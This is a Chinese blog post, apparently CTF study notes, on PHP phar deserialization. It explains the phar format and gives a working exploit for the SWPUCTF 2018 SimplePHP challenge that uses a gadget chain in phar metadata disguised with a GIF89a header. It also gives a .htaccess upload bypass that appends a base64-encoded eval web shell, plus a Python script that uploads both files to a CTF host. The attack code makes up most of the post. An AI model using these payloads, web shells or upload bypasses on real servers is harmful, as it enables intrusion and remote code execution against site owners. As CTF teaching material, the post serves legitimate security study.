phar反序列化

Sl0th Lv4

phar反序列化

phar文件结构

1.a stub
可以理解为一个标志,格式为xxx,前面内容不限,但必须以__HALT_COMPILER();来结尾,否则phar扩展将无法识别这个文件为phar文件
2.a manifest describing the contents
phar文件本质上是一种压缩文件,其中每个被压缩文件的权限、属性等信息都放在这部分。这部分还会以序列化的形式存储用户自定义的meta-data,这是上述攻击手法最核心的地方
3.the file contents—被压缩文件的内容
4.[optional] a signature for verifying Phar integrity (phar file format only)—签名,放在文件末尾

生成phar文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
class TestObject {
}

@unlink("phar.phar");
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$o = new TestObject();
$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>

会在同目录生成 phar.phar 文件

注意:要想生成phar文件,必须将phar.readonly配置项配置为0或Off,并且删除行首分号,在行尾加. 否则无法生成phar文件

利用

meta-data是以序列化的形式存储的

php一大部分的文件系统函数在通过phar://伪协议解析phar文件时,都会将meta-data进行反序列化 ,测试后受影响的函数如下

image-20211018194419673
image-20211018194419673

[SWPUCTF 2018]SimplePHP EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php
class C1e4r{
public $test;
public $str;
}
class Show{
public $source;
public $str;
}
class Test{
public $file;
public $params;
}
$c=new Test();
$c->params=array('source'=>'var/www/html/f1ag.php');//flag所在路径
$b=new Show();
$b->str['str']=$c;//为了不存在的调用触发__get()
$a=new C1e4r();
$a->str=$b;//触发__toString()
@unlink("phar.phar");
$phar=new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub('GIF89a'."<?php __HALT_COMPILER(); ?>"); //设置stub,增加图片类型文件头
$phar->setMetadata($a); //meta-data储存的信息
$phar->addFromString("test.txt", "test");//生成签名
$phar->stopBuffering();

要想生成phar文件,必须将php.ini中phar.readonly配置项配置为0或Off,并且删除行首分号,在行尾加.

生成的phar中metada.bin内容为类序列化后的内容

文件上传

绕过<?过滤

.htaccess绕过文件头检查

如果用一般的GIF89a文件头绕过,会导致htaccess文件无法执行,因此这里用定义高度与宽度,#在htaccess中被视为注释

1
2
3
4
#define width 1337
#define height 1337
AddType application/x-httpd-php .a
php_value auto_append_file "php://filter/convert.base64-decode/resource=./shell.a"

shell.a内容

1
2
GIF89a11
PD9waHAgZXZhbCgkX1BPU1RbJ2NtZCddKTs/Pg==

文件头后加的内容是为了补足8个字节,满足base64编码规则

文件上传python脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import requests
import time

url = r"http://7c586462-a2f1-4008-a870-9303b30d8fb1.node4.buuoj.cn/?_=${%80%80%80%80^%df%c7%c5%d4}{%80}();&%80=get_the_flag" # 执行get_the_flag函数
session = requests.session()
htaccess_content = '''
#define width 1337
#define height 1337
AddType application/x-httpd-php .a
php_value auto_append_file "php://filter/convert.base64-decode/resource=./shell.a"
'''
files_htaccess = {'file': (
'.htaccess', htaccess_content, 'image/jpeg')}
res_hta = session.post(url, files=files_htaccess)
print(res_hta.text)
shell_file = 'GIF89a12PD9waHAgZXZhbCgkX1JFUVVFU1RbJ2NtZCddKTs/Pg=='
files_shell = {'file': (
'shell.a', shell_file, 'image/jpeg')}
res_jpg = session.post(url, files=files_shell)

print(res_jpg.text) # 打印路径
  • 标题: phar反序列化
  • 作者: Sl0th
  • 创建于 : 2022-01-03 22:14:34
  • 更新于 : 2024-11-11 18:23:06
  • 链接: http://sl0th.top/2022/01/03/phar反序列化/
  • 版权声明: 本文章采用 CC BY-NC-SA 4.0 进行许可。
评论